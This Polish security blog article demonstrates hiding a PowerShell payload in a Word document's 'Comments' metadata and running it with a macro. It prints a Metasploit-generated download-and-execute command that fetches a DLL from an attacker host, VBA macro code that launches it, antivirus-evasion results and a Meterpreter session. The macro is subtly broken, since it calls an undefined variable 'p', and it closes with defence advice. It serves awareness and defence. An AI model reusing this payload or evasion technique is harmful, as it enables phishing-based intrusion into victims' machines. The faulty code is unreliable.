Czy kiedykolwiek przyszło Ci do głowy, że właściwości dokumentu, takie jak „Firma”, „Tytuł”, czy „Komentarze” mogłyby zawierać złośliwy kod? Czy wiesz, że zawartość metadanych pliku nie jest sprawdzana przez oprogramowanie antywirusowe? W związku z tym jaką masz pewność, że w metadanych plików przechowywanych na dysku lub na serwach w firmie nie ma zaszytego jakiegoś złośliwego kodu?

Na te i na podobne pytania znajdziesz odpowiedź w poniższym artykule. Przeprowadzimy w nim scenariusz takiego ataku i sprawdzimy, jak radzi sobie z tym problemem specjalistyczne oprogramowanie dla bezpieczeństwa.


Metadane – dodatkowe informacje o pliku


Czy pojęcie metadanych jest Ci obce? W milionach plików zapisanych na naszych komputerach i urządzeniach (m.in. pliki tekstowe, dokumenty Office, zdjęcia) znajduje się sporo nieoczywistej informacji. Co więcej, ich odczyt i modyfikacja są często banalnie proste. To właśnie są metadane, czyli dodatkowe informacje pozwalające opisać dokument. Metadane wykorzystywane są między innymi przez programy do klasyfikacji danych, systemy DLP, a także wszelkiego rodzaju indeksery pozwalające szybko wyszukać konkretny plik. Pliki z metadanymi szczególnie szybko indeksują się w Internecie, dlatego ważne jest nimi odpowiednie zarządzanie.
W celu dostania się do metadanych wystarczy kliknąć dany plik prawym klawiszem myszy i wybrać opcję „Właściwości” lub otwierając w programie MS Office dokument należy przejść do menu „Plik->Właściwości” lub „Plik -> Informacje”

Właściwości pliku Microsoft Word
Właściwości pliku widziane w programie Microsoft Word

Jak umieścić złośliwy kod w metadanych dokumentu?


Wyobraźmy sobie sytuację, w której w zaawansowanych atrybutach dokumentu zaszyty jest złośliwy kod, który bez problemów może być uruchomiony od środka. Okazuje się, że takie możliwości stwarza nam pakiet Office i przy włączonych makrach możemy uruchomić ładunek przechowywany w metadanych dokumentu. Ciekawostką jest to, że przy tej operacji nie są zapisywane na dysk ani po sieci żadne dodatkowe pliki, więc metoda ta utrudnia jeszcze bardziej prace oprogramowaniu antywirusowemu, które w głównej mierze skupia swoją aktywność do sprawdzania plików zapisywanych na dysk.
Jedną z ciekawych zalet metody przechowywania złośliwego kodu w dokumentach jest fakt, że oprogramowanie antywirusowe nie sprawdza zawartości metadanych! Przekonaliśmy się o tym testując na VirusTotal dokument, który zawierał linijkę złośliwego kodu wpisaną w atrybut” Komentarze” dokumentu Metadane.docm, ale o tym poniżej.


Utworzenie złośliwej komendy Powershell


W celu wygenerowania złośliwego skryptu posłużymy się narzędziem Metasploit, który dostarczy nam ładunek w postaci pliku DLL i linię komend Powershell za pośrednictwem serwera SMB. Dla firm, które posiadają zaimplementowane systemy bezpieczeństwa z głęboką inspekcją pakietów (Deep Packet Inspection), moduł umożliwia także dostarczenie ładunku po HTTP i pozwala szyfrować cały ruch za pomocą niestandardowego certyfikatu (HTTPS). Sprawi to, że atak w większej ilości przypadków może stać się jeszcze bardziej skuteczny.
Moduł może być łatwo skonfigurowany przy użyciu następujących poleceń:

Opcja „set target 1” umożliwi nam wygenerowanie wersji skryptu w PowerShell z pobraniem ładunku dll z zasobu SMB. Jeśli chcielibyśmy to samo wywołanie uruchomić po HTTPS wówczas należałoby użyć modułu:

exploit/multi/script/web_delivery

Istnieje również możliwość wygenerowania podobnego wywołania pobrania DLL za pomocą wbudowanej w Windows komendy „rundll32.exe” (wtedy opcję „target” należy ustawić na 0).
Uruchomienie exploita wygląda następująco:

Linijka złośliwego kodu wygenerowanego z Metasploit’a pobierająca i uruchamiająca ze ścieżki UNC (z uwzględnieniem proxy) bibliotekę dll (ładunek):

powershell.exe -nop -w hidden -c $y=new-object net.webclient;
$y.proxy=[Net.WebRequest]::GetSystemWebProxy();
$y.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;
IEX $y.downloadstring(‘\\192.168.1.20\iWQp\kapitanhack.dll’);


Teraz kopiujemy powyższe wywołanie PowerShell i umieszczamy w atrybucie „Komentarze” dokumentu Word.

Komenda zaszyta w metadanych dokumentu

W celu przekonania się jak zareaguje oprogramowanie antywirusowe na powyższy plik sprawdziliśmy na portalu VirusTotal. Poniżej prezentujemy wynik, który wcale nas nie zaskoczył:


Uruchomienie złośliwego kodu z makro dokumentu


Do przeprowadzenia ataku nie pozostało nam nic innego jak utworzenia specjalnego kodu w makro w powyższym dokumencie i poprzez funkcję Shell() uruchomienie powyższego skryptu Powershell’a ukrytego w atrybucie “Komentarze” (ang. Comments):

Kod makro w dokumencie MS Office pozwalający uruchomić skrypt ukryty w metadanych, w atrybucie „Komentarze”:

Sub kapitanhack()
Dim x As DocumentProperty
For Each x In ActiveDocument.BuiltInDocumentProperties
If x.Name = “Comments” Then
Shell (p.Value)
End If
Next
End Sub

Po tak przygotowanym dokumencie postanowiliśmy go sprawdzić jeszcze raz na VirusTotal (tym razem z zaszytym makro). Wyniki skanowania przedstawia ekran poniżej.

Ku naszemu zdziwieniu tylko 9 silników na 59 wykrywa nasze makro! Proponujemy tez zwrócić uwagę na to, jakie silniki je wykrywają.
Podejrzewamy, że silniki które wykryły makro są wyczulone albo na wykrycie jakichkolwiek makr w dokumencie albo na zawartości w makro polecenia Shell(). Przypominamy, że po wcześniejszym sprawdzeniu dokumentu z samym ładunkiem umieszczonym w atrybucie komentarz tylko 2 skanery uznały dokument za złośliwy!

Na koniec możemy uruchomić makro otwierając dokument Word na stacji Windows 10. Po uruchomieniu makro przez użytkownika, na serwerze nasłuchującym ruch dostajemy otwartą sesję Meterpretera do jego komputera Windows 10. Możemy wykonywać dowolne polecenia.


Podsumowanie


Opisywana w powyższym artykule technika pozwala w łatwy sposób ukryć złośliwe polecenia wewnątrz właściwości dokumentu biurowego Microsoft. Makro, które wyzwala ładunek, nie jest uważane za szkodliwe przez większość z oprogramowań antywirusowych. Martwi nas również fakt, że zawartość pól właściwości dokumentu nie jest sprawdzana przez różnych markowych producentów antywirusów, co postaraliśmy się udowodnić skanując dokument w portalu VirusTotal. Tak więc problem może się pojawić w momencie, gdy użytkownik docelowy zostanie w jakiś sposób przekonany do otwarcia i uruchomienia makra – np. za pomocą jakiejś wymyślnej kampani phishingowej. Jedyną rzeczą, która może zatrzymać ten atak, jest system zapobiegania włamaniom do hosta (sonda HIPS), który usunie połączenie Meterpretera. Istnieją jednak metody, w których możliwe jest ominięcie HIPS przy użyciu certyfikatu i szyfrowania połączenia (pisaliśmy o tym powyżej).

Powyższe ćwiczenie odnieśmy do posiadanych w firmie skanerów i odpowiedzmy sobie sami na pytanie, czy jesteśmy bezpieczni?


Jak się chronić?


Przede wszystkim edukujmy użytkowników, żeby pod żadnym pozorem nie uruchamiali makr w dokumentach, do których nie mają zaufania. Jeśli znajdzie się jakiś dokument w sieci z makrem pod żadnym pozorem nie należy go uruchamiać!
Dobrze też jest wyłączyć obsługę makr w dokumentach Office na stacjach roboczych.

Od strony infrastruktury możemy:

  • użyć narzędzi pozwalających przeszukać metadane umieszczonych w sieci plików i sprawdzić je pod kątem wyrażeń zawierających nietypowe ciągi znaków np. skrypt PowerShell., wywołanie pliku exe itp.
  • użyć specjalnych rozwiązań tzw. piaskownicy, w której będziemy mogli bezpiecznie przetestować uruchamiane dokumenty
  • wyposażyć się w rozwiązania wykrywające podejrzane zachowania bazujące na sztucznej inteligencji
  • monitorować wywołanie PowerShell na komputerach a także odpalane na nich komend wbudowanych w system Windows np. Rundll32.exe, mshta.exe, certutil.exe itp., które pozwalają na pobranie ładunku z dowolnego adresu sieciowego
  • zastosować się do porad z artykułów kampanii malware oraz socjotechnika jakie opublikowaliśmy na Kapitanie Hacku.

Polecamy kontakt z firmą Appeal w celu dowiedzenia się na temat szczegółów zabezpieczenia środowiska przed tego typu atakami.


Pozdrawiamy,
Zespół Kapitan Hack